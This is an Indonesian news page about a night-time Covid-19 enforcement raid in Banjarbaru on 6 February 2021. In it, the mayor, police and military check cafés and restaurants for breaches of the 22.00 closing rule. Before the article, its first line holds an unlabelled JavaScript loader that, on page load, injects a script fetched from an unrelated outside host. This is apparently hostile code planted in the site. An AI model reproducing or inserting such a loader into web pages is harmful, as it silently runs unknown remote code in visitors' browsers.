(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru bersama TNI/Polri menggelar razia penertiban dalam rangka pelaksanaan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM), Sabtu (6/2/2021) malam.
Kegiatan dipimpin secara langsung Wali Kota Banjarbaru, Darmawan Jaya Setiawan, didamping Kapolres Banjarbaru AKBP Doni Hadi dan Komandan Kodim ( Dandim) 1006/Martapura Letkol Inf Imam Muchtarom, serta jajaran petugas Satpol PP.
Razia menyasar seluruh tempat hiburan, tempat berbelanja, area publik, hingga tempat makan dan restoran. Sebagaimana aturan yang ditetapkan dalam pelaksanaan PPKM di Banjarbaru, seluruh tempat itu diwajibkan tutup pada pukul 22.00 Wita.
“Dalam poin-poin aturan PPKM, salah satunya mengatur batasan jam operasional. Intinya, harus tutup jam 10 malam. Kegiatan kita malam ini ialah menegakkan aturan sekaligus menertibkan apabila ada dari tempat-tempat itu yang masih beroperasional,” kata Jaya —sapaan akrab Wali Kota.
Berdasarkan pantauan Kanalkalimantan.com, razia di mulai dengan menyisir kawasan jantung kota yakni di Lapangan Murjani dan kawasan kuliner Minggu Raya. Di lokasi ini petugas gabungan turut memantau para PKL yang biasanya kerap berjualan mengelilingi sekitaran. Lokasi ini dinyatakan steril.
Kemudian penyisiran dilanjutkan di sepanjang Jalan Panglima Batur, menyasar tempat hiburan seperti kafe dan tempat makan. Sayangnya, di beberapa lokasi ini petugas menemukan adanya kafe-kafe yang masih buka di atas jam operasional yang ditentukan.
“Tadi ada beberapa tempat (kafe, -red) yang masih buka. Kita berikan teguran keras. Selain itu, kami juga minta kepada pihak pengelola tempat tersebut untuk menghadap ke Dinas Pariwisata pada Senin nanti. Mereka akan diberikan surat teguran,” bebernya.
Parahnya lagi, ada salah satu kafe yang tak hanya melanggar batas jam operasional. Melainkan juga tak menerapkan protokol kesehatan dan tak memiliki surat izin operasional tempat usaha. Hal ini mengakibatkan cafe tersebut akan ditutup hingga batas waktu yang belum ditentukan.
Wali Kota Banjarbaru menegaskan bahwa pelaksanaan PPKM ialah untuk menekan dan mengantisipasi lonjakan kasus Covid-19. Supaya pembatasan mobilitas masyarakat ini efektif, dirinya meminta masyarakat maupun pemilik tempat usaha juga turut berpartisipasi dengan mematuhi aturan yang ada.
“Untuk melawan Covid-19 tidak hanya tugas pemerintah, tapi kewajiban di pelaku usaha serta lapisan masyarakat Banjarbaru. Kita berharap agar PPKM bisa ini bisa berhasil nantinya,” tuntasnya. (Kanalkalimantan.com/rico)
Reporter: rico
Editor: cell
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.